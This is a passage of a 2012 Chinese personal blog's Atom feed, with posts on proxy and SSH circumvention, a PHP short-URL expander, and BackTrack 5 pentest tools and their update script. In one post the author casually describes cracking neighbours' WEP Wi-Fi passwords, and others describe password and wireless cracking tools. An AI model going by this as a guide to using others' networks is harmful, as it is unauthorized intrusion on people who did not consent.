]]></content>
    <summary type="html">
    <![CDATA[<p>KnProxy 是一个轻量级的基于PHP开发的Web代理。</p>
<p>该版本改进内容包括：</p>
<p>1. 支持云代理技术（仍在进一步测试中）</p>
<p>2. 增加了配置文件</p>
<p>3. 可设置自己的代理key来避免URL被GFW捕获</p>
<p>4.]]>
    </summary>
    
      <category term="翻墙" scheme="http://doubles.me/tags/%E7%BF%BB%E5%A2%99/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[PHP代理翻墙]]></title>
    <link href="http://doubles.me/2012/11/13/84/"/>
    <id>http://doubles.me/2012/11/13/84/</id>
    <published>2012-11-13T10:03:59.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>goagent的翻墙很多人都用了，可是都是利用gae的方法吧。</p>
<p>goagent不仅仅可以利用gae，php空间也是可以的。我们下载过来会发现Server文件夹中有2个文件夹，一个python，一个php，只要把php中的文件上传到任何一个php空间 中就可以使用。不过不能是限制太多的，也不要有广告。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/11.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/11.png" alt="" title="1"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/31.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/31.png" alt="" title="3"></a>只有这一个文件哦，上传完成后记住地址，等会要用的。</p>
<p>打开local中的proxy.ini文件，找到[paas]这里，如下修改。地址按你的改，记住加上index.php，如果你改了就按你改的。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/21.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/21.png" alt="" title="2"></a></p>
<p>然后就OK了，打开goagent，它就开始为你服务了。这时候设置一下浏览器的代理方式。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/41.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/41.png" alt="" title="4"></a></p>
<p>选择http代理，默认的是127.0.0.1，端口是8088.其他浏览器类似的。<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/61.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/61.png" alt="" title="6"></a>最后我们就可以上youtube观看视频了。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/51.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/51.png" alt="" title="5"></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>这里使用的是goagent2.1.5，googlecode的地址没翻墙好像不能下载，这里给个地址吧。</p>
<p>下载地址：<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/goagent-2.1.5.zip" target="_blank" rel="external">goagent-2.1.5</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>goagent的翻墙很多人都用了，可是都是利用gae的方法吧。</p>
<p>goagent不仅仅可以利用gae，php空间也是可以的。我们下载过来会发现Server文件夹中有2个文件夹，一个python，一个php，只要把php中的文件上传到任何一个php空间 中就可以使]]>
    </summary>
    
      <category term="翻墙" scheme="http://doubles.me/tags/%E7%BF%BB%E5%A2%99/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[SSH翻墙2]]></title>
    <link href="http://doubles.me/2012/11/12/69/"/>
    <id>http://doubles.me/2012/11/12/69/</id>
    <published>2012-11-12T13:20:07.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>ssh其实也可以用putty来做一个代理，速度快很多，这里给贴出来一下。</p>
<p>填入主机，然后连接–ssh–认证，导入私钥。连接–ssh–通道添加一个动态端口，然后浏览器设置和前面一篇一样。</p>
<p>&nbsp;</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/c1.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/c1.png" alt="" title="c"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/d1.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/d1-300x267.png" alt="" title="d"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/d.png" target="_blank" rel="external">
</a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/e.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/e-300x267.png" alt="" title="e"></a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/b.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/b-300x188.png" alt="" title="b"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/a.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/a-282x300.png" alt="" title="a"></a>翻墙成功。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>ssh其实也可以用putty来做一个代理，速度快很多，这里给贴出来一下。</p>
<p>填入主机，然后连接–ssh–认证，导入私钥。连接–ssh–通道添加一个动态端口，然后浏览器设置和前面一篇一样。</p>
<p>&nbsp;</p>
<p><a href="http://]]>
    </summary>
    
      <category term="翻墙" scheme="http://doubles.me/tags/%E7%BF%BB%E5%A2%99/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[SSH翻墙]]></title>
    <link href="http://doubles.me/2012/11/12/57/"/>
    <id>http://doubles.me/2012/11/12/57/</id>
    <published>2012-11-12T12:49:17.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>由于十八大的缘故，很多翻墙的那啥被河蟹了，当然我不是提供什么最新翻墙的方法，只是在这里列一下一般是怎么翻墙的。</p>
<p>首先弄到一个ssh的帐号，至于怎么弄到就不说了。</p>
<p>我在openshift注册的，<a href="https://openshift.redhat.com" target="_blank" rel="external">https://openshift.redhat.com</a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/openshift.gif" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/openshift.gif" alt="" title="openshift"></a></p>
<p>OpenShift是redhat在2011年5月推出，支持用于Java、Python、PHP和Ruby的更多的开发框架，开发人员可以构建、测试、运行和管理他们的应用。</p>
<p>目前已支持Java，PHP，Python，Perl，Ruby五种编程语言和对应的web框架，而且还在不断增加中。支持为应用添加MySQL Database，phpMyAdmin，MongoDB NoSQL Database，Cron 1.4等。</p>
<p>OpenShift可以正常运行各类PHP程序，OpenShift自带了wordpress博客一键生成功能，也可以自己安装Wordpress、Discuz! X2.5等程序，每个注册用户，目前Red Hat的OpenShift 上可以免费创建三个app，提供1.5G 内存和3G 存储空间。</p>
<p>OpenShift服务器采用的是AmazonEC2美国东海岸数据中心，月流量什么的不限制，且支持绑定顶级域名。</p>
<p>还有最给力的一点，就是它提供ssh，赞一个。<span style="text-align: center;">注册过程不说了，我们注册后要用puttygen生成一个私钥，保留下来。</span></p>
<p>然后下载一个叫做MyEnTunnel的软件，地址放在下面。</p>
<p>和我一样设置就好了，你可以更改的。由于我们用的私钥登入，所以勾上试用私钥。如果是其他有密码的就填密码。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/4.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/4.png" alt="" title="4"></a></p>
<p>&nbsp;</p>
<p>然后这里是比较纠结的，没有载入私钥的地方，后来发现是重命名为keyfile.ppk然后放到软件根目录下就好了。这个要记住。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/5.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/5.png" alt="" title="5"></a>连接，之后就是浏览器的设置。犹豫我是比较懒的，所以一张图来吧。打开火狐，选项，网络，设置，然后填入本地地址和代理端口，看你前面的设置，没变的话就是7070.应用之后，你的MyEnTunnel会从黄色变成绿色。然后你就可以访问XXXXX。</p>
<p>1024，这个不解释额。其他浏览器设置类似，然后为什么这没有说linux下的方法呢，且听下回分解。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/6.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/6.png" alt="" title="6"></a>ps：今天晚上遇到个问题，昨天在家用的时候速度挺快的，刷1024都挺不错的，今天来学校就卡的要死，不知道是什么问题。家里2m铁通，学校8m电信，这不科学啊。下载地址：<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/MyEntunnel.zip" target="_blank" rel="external">MyEntunnel</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>由于十八大的缘故，很多翻墙的那啥被河蟹了，当然我不是提供什么最新翻墙的方法，只是在这里列一下一般是怎么翻墙的。</p>
<p>首先弄到一个ssh的帐号，至于怎么弄到就不说了。</p>
<p>我在openshift注册的，<a href="https://openshift.]]>
    </summary>
    
      <category term="翻墙" scheme="http://doubles.me/tags/%E7%BF%BB%E5%A2%99/"/>
    
      <category term="Web" scheme="http://doubles.me/categories/Web/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[棍棍节来了]]></title>
    <link href="http://doubles.me/2012/11/07/52/"/>
    <id>http://doubles.me/2012/11/07/52/</id>
    <published>2012-11-07T12:57:19.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>如果运气好这将是最后一个光棍节了，如果运气不好，这会是最后一个光棍节了。呵。。。</p>
<p>然后，就花了点时间改一下这个。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121107225548.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121107225548.png" alt="" title="QQ20121107225548"></a></p>
<p>这是以前人人上传播的纪念爱情的，我用来表白过，虽然还搭了一个许愿墙，弄到了几十条祝福，但还是失败了。</p>
<p>希望大家别和我一样哦。。。</p>
<p>原网页，来自   <a href="http://hackerzhou.me/" target="_blank" rel="external">http://hackerzhou.me/</a>，他代码共享了，可以去googlecode看看。</p>
<p>在这里<a href="http://justforlove.sinaapp.com/" target="_blank" rel="external">http://justforlove.sinaapp.com/</a>你可以自己修改一个，发给你女朋友或者未来的女朋友。o(∩_∩)o</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>如果运气好这将是最后一个光棍节了，如果运气不好，这会是最后一个光棍节了。呵。。。</p>
<p>然后，就花了点时间改一下这个。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ201211072]]>
    </summary>
    
      <category term="sae" scheme="http://doubles.me/tags/sae/"/>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[短网址还原]]></title>
    <link href="http://doubles.me/2012/11/05/48/"/>
    <id>http://doubles.me/2012/11/05/48/</id>
    <published>2012-11-05T06:58:57.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>应用租金很贵啊，现在想想怎么通过sina开发者认证才是正途啊。听说sae会逐步开放，也不知道豆豆能不能撑到他开放给高校学生的那一天。完全不会php，那怎么弄开发者认证哦。虽然有个半成品的android应用，但是1000人的限制。后面就在网上找到一个简单的方法。</p>
<p>sae应用仓库里面有3个网址压缩的应用，那我们就弄一个还原网址的额。</p>
<p>我们可以用程序请求一个短网址，然后获取响应头信息就可以了。通常短网址是进行了301跳转，并且响应有Location 信息。</p>
<p>网上找到一段使用get_headers（）获取的，看这里：</p>
<pre>function get_real_url($url){
    $headers = @get_headers($url);
    $pattern = '/Location\s*:\s*(https?:[^;\s\n\r]+)/i';
    if($locations = preg_grep($pattern, $headers)){
        preg_match($pattern, end($locations), $redirect);
        return $redirect[1];
    }
    return $url;
}</pre>
但是，sae上禁掉了，蛋碎，换吧。

修改一下这份代码就可以使用了。
<pre>    $url='http://t.cn';</pre>
<pre>    $info = parse_url($url);
    $fp = fsockopen($info['host'], 80,$errno, $errstr, 30);
    fputs($fp,"GET {$info['path']} HTTP/1.1\r\n");
    fputs($fp, "Host: {$info['host']}\r\n");
    fputs($fp, "Connection: close\r\n\r\n");
    $rewrite = '';
    while(!feof($fp)) {
        $line = fgets($fp);
        if($line != "\r\n" ) {
            if(strpos($line,'Location:') !== false) {
                $rewrite = str_replace(array("\r","\n","Location: "),'',$line);
            }
        }else {
            break;
        }
    }
    echo  $rewrite;</pre>
<pre>[
](http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121105165543.png)</pre>
<pre></pre>
<pre></pre>
<pre>看看解密效果</pre>
<pre></pre>
<pre>[![](http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121105165623.png "QQ20121105165623")](http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121105165623.png)</pre>
<pre>[
](http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121105165623.png)</pre>
<pre><span style="color: #0000ee;">
</span></pre>
<pre></pre>
<pre>[http://downlinux.sinaapp.com/app/unshort/](http://downlinux.sinaapp.com/app/unshort/)</pre>
<pre><span style="color: #0000ee;">
</span></pre>]]></content>
    <summary type="html">
    <![CDATA[<p>应用租金很贵啊，现在想想怎么通过sina开发者认证才是正途啊。听说sae会逐步开放，也不知道豆豆能不能撑到他开放给高校学生的那一天。完全不会php，那怎么弄开发者认证哦。虽然有个半成品的android应用，但是1000人的限制。后面就在网上找到一个简单的方法。</p>
<p]]>
    </summary>
    
      <category term="sae" scheme="http://doubles.me/tags/sae/"/>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[BackTrack5]]></title>
    <link href="http://doubles.me/2012/11/03/41/"/>
    <id>http://doubles.me/2012/11/03/41/</id>
    <published>2012-11-03T13:01:36.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>　　BackTrack是基于Ubuntu的自启动运行光盘，它包含了一套安全及计算机取证工具。它其实是依靠融合Auditor Security Linu和WHAX（先前的Whoppix）而创建成的。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/ea85a945e6a9c646cffca3c61-e1351954609127.jpg" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/ea85a945e6a9c646cffca3c61-e1351954609127.jpg" alt="" title="ea85a945e6a9c646cffca3c6(1)"></a></p>
<div>        BackTrack是目前为止知名度最高,评价最好的关于信息安全的Linux发行版.它是基于Linux平台并集成安全工具而开发成的Linux Live发行版,旨在帮助网络安全人员对网络骇客行为进行评估.不论您是否把它做为常用系统,或是从光盘或移动硬盘启动,它都可以定制各种安全包, 包括内核配置,脚本和补丁, 以用于入侵检测.<sup>[1]</sup></div><br><a name="ref_[1]_1627379"></a>     BackTrack是一套信息安全审计专用的Linux发行版, 不论您是信息安全专家还是新手. 它创造了一条可以方便您从世界上最大的安全工具库寻找和更新安全工具的捷径.<br><div>         用户包括信息安全领域的专业渗透测试人员, 政府雇员, IT人员, 信息安全爱好者以及安全领域的初学者. 来自不同行业, 不同技术水平用户的反馈促使我们开发了这样一个面对多元需求,包括商业和非商业需求的系统.</div><br><div>        无论是在渗透无线网络, 服务器, 还是在进行网站安全评估, 或是在学习安全技术, 或是在利用社会工程学获取信息, BackTrack都可以满足您在信息安全方面的需要。</div>

<h1 id="名称由来"><a href="#名称由来" class="headerlink" title="名称由来"></a><strong>名称由来</strong></h1><p>BackTrack可以翻译为回溯，因为BackTrack在其无线安全审计中主要使用了BackTrack回溯算法，比如WEP加密时是两个维度，而到WPA加密就相当于三个维度，好比把正方形变成了正方体，破解难度成几何倍数增长，而BackTrack算法则是将维度降低，正方体还原回正方形，破解难度则被降低很多，原先需要40小时甚至是40天才能破解出的密码使用回溯算法后则只需几十分钟。</p>
<h1 id="功能"><a href="#功能" class="headerlink" title="功能"></a>功能</h1><p>BackTrack是一套专业的计算机安全检测的Linux操作系统，简称BT。目前最新与最好用版本是BT5。</p>
<p>它破解WEP，WPA/WPA2加密方式的无线网络也不在话下，当然前提是需要有足够强大的密码字典文件。</p>
<p><div> （这个字典当然可以用前一阵子流传出来的xxx。）</div><br>如果你仅仅用来破解WIFI，那么就大材小用了，集成了众多安全工具的BT不仅仅在破解WIFI上功能强悍，还有如弱点扫描工具Nessus，渗透平台MSF，Sniff工具Wireshark , ettercap，VOIP检测工具。</p>
<p>在BT5里单独列出的众多RFID工具充分展示了BT对于基于无线射频技术的硬件系统检测能力。</p>
<p>密码破解方面，在以往版本工具的基础上又加入了基于GPU的破解工具oclhashcat，分别为oclhashcat+(ATI)，oclhashcat+(Nvidia)破解速度理论上可以达到传统CPU破解的百倍。</p>
<p>Apache和MySQL都被集成到了系统中，方便使用者搭建LAMP环境进行测试，Injection,XSS等工具自然要有！</p>
<p>还有Snort等IDS（入侵检测系统）工具。</p>
<p>极力推荐信息安全爱好者尝试一下这个平台！</p>
<p>5. 专家对BT的评价</p>
<p>“I wish I had BT3 many years ago. It would have saved me a lot of time.” - Kevin Mitnick</p>
<p>“BackTrack is the fastest way to go from boot to remote root.” - H.D. Moore</p>
<p>“BackTrack is the ninja hacker’s weapon of choice.” – Johnny Long</p>
<h1 id="工具列表"><a href="#工具列表" class="headerlink" title="工具列表"></a>工具列表</h1><p>BT5的功能进一步增加，总共12个大类：</p>
<p>◆Information Gathering</p>
<p>◆Vulnerability Assessment</p>
<p>◆Exploitation Tools</p>
<p>◆Privilege Escalation</p>
<p>◆Maintaining Access</p>
<p>◆Reverse Engineering</p>
<p>◆RFID Tools</p>
<p>◆Stress Testing</p>
<p>◆Forensics</p>
<p>◆Reporting Tools</p>
<p>◆Services</p>
<p>◆Miscellaneous</p>
<p>下载地址：<a href="http://downlinux.sinaapp.com/2012/10/29/btbacktrack-5-%e6%89%93%e5%8c%85%e4%b8%8b%e8%bd%bd/" title="[BT]BackTrack 5 打包下载" target="_blank" rel="external">点我可见</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>　　BackTrack是基于Ubuntu的自启动运行光盘，它包含了一套安全及计算机取证工具。它其实是依靠融合Auditor Security]]>
    </summary>
    
      <category term="BackTrack" scheme="http://doubles.me/tags/BackTrack/"/>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[WifiCrack]]></title>
    <link href="http://doubles.me/2012/11/03/34/"/>
    <id>http://doubles.me/2012/11/03/34/</id>
    <published>2012-11-03T12:24:16.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>外婆家待了1个多礼拜来，只破了2个wep加密的，一个每天就凌晨2点可以连上。</p>
<p>另一个临走前才抓到密码。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/Screenshot.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/Screenshot-268x300.png" alt="" title="Screenshot"></a></p>
<p>至于pin码我就不想多说什么了，78%都能卡住，至于跑字典的那活，1年前就断了念头，不报任何希望。</p>
<p>这是现在用的，速度还不错，至少还能看看爱情公寓3.</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/Screenshot-11.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/Screenshot-11.png" alt="" title="Screenshot-11"></a></p>
<p>这玩意，化了啊。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>外婆家待了1个多礼拜来，只破了2个wep加密的，一个每天就凌晨2点可以连上。</p>
<p>另一个临走前才抓到密码。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/11/Screenshot.png" ]]>
    </summary>
    
      <category term="BackTrack" scheme="http://doubles.me/tags/BackTrack/"/>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[BackTrack自动升级脚本]]></title>
    <link href="http://doubles.me/2012/10/31/22/"/>
    <id>http://doubles.me/2012/10/31/22/</id>
    <published>2012-10-31T13:42:56.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>相信很多朋友都安装了BackTrack，但是，我们也因此有许多重复性的工作要做了。比如每次开机要打开网络，给我们的Metasploit升</p>
<p>级等等。。现在不用劳心了，使用这个脚本可以实现很多快捷功能。</p>
<a id="more"></a>
<h2 id="Script-to-update-BackTrack5-V-1-5"><a href="#Script-to-update-BackTrack5-V-1-5" class="headerlink" title="Script to update BackTrack5 V.: 1.5"></a>Script to update BackTrack5 V.: 1.5</h2><p>The purpose of Bt5up is to update/add and bug fix BackTrack 5 tools.</p>
<p><strong>Compatible with Backtrack 5 R3</strong></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/10/bt5up-r2-283x300.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/10/bt5up-r2-283x300.png" alt="" title="bt5up-r2-283x300"></a></p>
<p><strong>Version 1.5 is out</strong> see the <a href="http://bl4ck5w4n.tk/wp-content/uploads/2011/07/changelog.txt" title="ChangeLog" target="_blank" rel="external">changelog </a>to read the fixes and addons.</p>
<p>As you can see in the screen it display the version you have installed and the latest version available and the Main Menu with all the different topics to update/install, here is the complete menu:</p>
<p><strong>1. Update and clean Backtrack.</strong></p>
<p><strong>2. Exploit tools.</strong></p>
<ol>
<li>Metasploit Framework.</li>
<li>Exploit-db.</li>
<li>SET – Social Engineering Toolkit.</li>
<li><p>Update all.<br><strong>3. Wireless &amp; Telephony.</strong></p>
</li>
<li><p>Aircrack-ng and Airdrop.</p>
</li>
<li>WarVox.</li>
<li>WiFite.</li>
<li>Dedected.</li>
<li>Fern Wifi Cracker</li>
<li>Giskismet.</li>
<li><p>Update all<br><strong>4. Web &amp; Database.</strong></p>
</li>
<li><p>W3AF.</p>
</li>
<li>Nikto.</li>
<li>BeEF</li>
<li>Sqlmap.</li>
<li>SQLNinja.</li>
<li>Fimap.</li>
<li>JoomScan.</li>
<li>WPScan.</li>
<li>HexorBase.</li>
<li><p>Update all.<br><strong>5. Others.</strong></p>
</li>
<li><p>Nessus.</p>
</li>
<li>Wireshark</li>
<li>OpenVAS.</li>
<li>Nmap</li>
<li><p>Update all.<br><div><strong>6. Update All</strong></div><br><div><strong>7. Update Script</strong></div><br><div><strong>8. Changelog</strong></div><br><div><strong>9. Feedback (Gmail)</strong></div><br><div><strong>10. Fix BT5 Bugs/Customize BT5</strong></div></p>
<div>
</div></li>
<li><p>Startx after login</p>
</li>
<li>Change Login message(motd)</li>
<li>Set PulseAudio to autostart</li>
<li>Set Wicd autostart</li>
<li><p>Install FlashPlayer 11<br><br><strong>11. Additional Tools</strong></p>
</li>
<li><p>Nessus</p>
</li>
<li>Crypter</li>
<li>Ghost Phisher</li>
<li>TMNT Project</li>
<li>MinidWep-GTK</li>
<li>The Mole<br>Download: <a href="http://bl4ck5w4n.tk/wp-content/uploads/2011/07/bt5up.tar" target="_blank" rel="external">bt5up</a></li>
</ol>
<p><strong>How to run:</strong></p>
<p><div></div></p>
<p><div id="highlighter_612158"></div></p>
<p><table border="0" cellspacing="0" cellpadding="0"></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td></td></p>
<p><div>1</div></p>
<p><div>2</div></p>
<p><div>3</div></p>
<p><td></td></p>
<p><div></div></p>
<p><div><code>wget http:``//bl4ck5w4n``.tk``/wp-content/uploads/2011/07/bt5up``.``tar</code></div></p>
<p><div><code>tar</code> <code>-xvf bt5up.``tar</code></div></p>
<p><div><code>python bt5up.py</code></div><br><br><br><br><br><br><br><del>You can copy the bt5up.py to /bin/ to make it easy to use it:<br>cp bt5up.py /bin/bt5up<br>chmod +x /bin/bt5up</del><br>After <strong>version 1.5</strong> the script will auto install in <em>/pentest/bt5up</em> and has a symlink to <em>/bin/bt5up ,</em> so after the first time you run the script you can just type:</p>
<p><div></div></p>
<p><div id="highlighter_353179"></div></p>
<p><table border="0" cellspacing="0" cellpadding="0"></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td></td></p>
<p><div>1</div></p>
<p><td></td></p>
<p><div></div></p>
<p><div><code>bt5up</code></div><br><br><br><br><br><br><br>And thats it!</p>
<p>For more details use:</p>
<p><div></div></p>
<p><div id="highlighter_229048"></div></p>
<p><table border="0" cellspacing="0" cellpadding="0"></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td></td></p>
<p><div>1</div></p>
<p><td></td></p>
<p><div></div></p>
<p><div><code>bt5up -h</code></div><br><br><br><br><br><br><br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/10/bt5up-r2-283x300.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/10/bt5up-r2-283x300.png" alt="" title="bt5up-r2-283x300"></a></p>
<p>Hope you enjoy</p>
<p>打开终端，依次输入下列3条命令可以打开脚本，</p>
<p><table border="0" cellspacing="0" cellpadding="0"></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td></td></p>
<p><div>1</div></p>
<p><div>2</div></p>
<p><div>3</div></p>
<p><td></td></p>
<p><div><code>wget http:``//bl4ck5w4n``.tk``/wp-content/uploads/2011/07/bt5up``.``tar</code></div></p>
<p><div><code>tar</code> <code>-xvf bt5up.``tar</code></div></p>
<p><div><code>python bt5up.py</code></div><br><br><br><br>以后要试用的话只要在终端中输入bt5up就可以打开。</p>
<p>输入bt5up -h获取帮助</p>
<p>提醒大家一下，有时候升级不了的话可能是被墙了，GAE还是什么的大家掂量一下吧！</p>
<p>大家可以访问官方主页：<a href="http://bl4ck5w4n.tk/" target="_blank" rel="external">http://bl4ck5w4n.tk</a>了解更多。</p>
<p>当然，大家也可以在本站进行下载。</p>
<p>本地下载：<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/10/bt5up.tar" target="_blank" rel="external">bt5up</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>相信很多朋友都安装了BackTrack，但是，我们也因此有许多重复性的工作要做了。比如每次开机要打开网络，给我们的Metasploit升</p>
<p>级等等。。现在不用劳心了，使用这个脚本可以实现很多快捷功能。</p>]]>
    
    </summary>
    
      <category term="BackTrack" scheme="http://doubles.me/tags/BackTrack/"/>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[BackTrack 5 打包下载]]></title>
    <link href="http://doubles.me/2012/10/29/16/"/>
    <id>http://doubles.me/2012/10/29/16/</id>
    <published>2012-10-29T13:30:53.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p><strong>最新BackTrack 5 R3 was released on 13th of August, 2012.</strong></p>
<p>可以前去<a href="http://www.backtrack-linux.org/" target="_blank" rel="external">http://www.backtrack-linux.org</a>获取最新Backtrack版本</p>
<p>这里是BackTrack5 R3所有版本的种子打包，大家根据自己的需求进行下载。</p>
<p>一共有17个种子，名称说明</p>
<p>版本号[R3/R2/R1/]-桌面环境[Gnome-Kde]-系统版本[32位/64位]-系统环境[VM/ARM/RM]</p>
<p>比如说我想要一个在虚拟机中的32位系统，然后最新的版本就是   BT5R3-GNOME-32-VM.torrent</p>
<p>我想在手机上安装BackTrack，那么就要选择ARM版的，那我就下载  BT5-GNOME-ARM.torrent</p>
<p>一般大家下载 BT5R3-GNOME-32.torrent这个文件就可以了。</p>
<p>下载地址：<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/10/BackTrack5.zip" target="_blank" rel="external">BackTrack5</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p><strong>最新BackTrack 5 R3 was released on 13th of August, 2012.</strong></p>
<p>可以前去<a href="http://www.backtrack-linux.org/" target="_bla]]>
    </summary>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
</feed>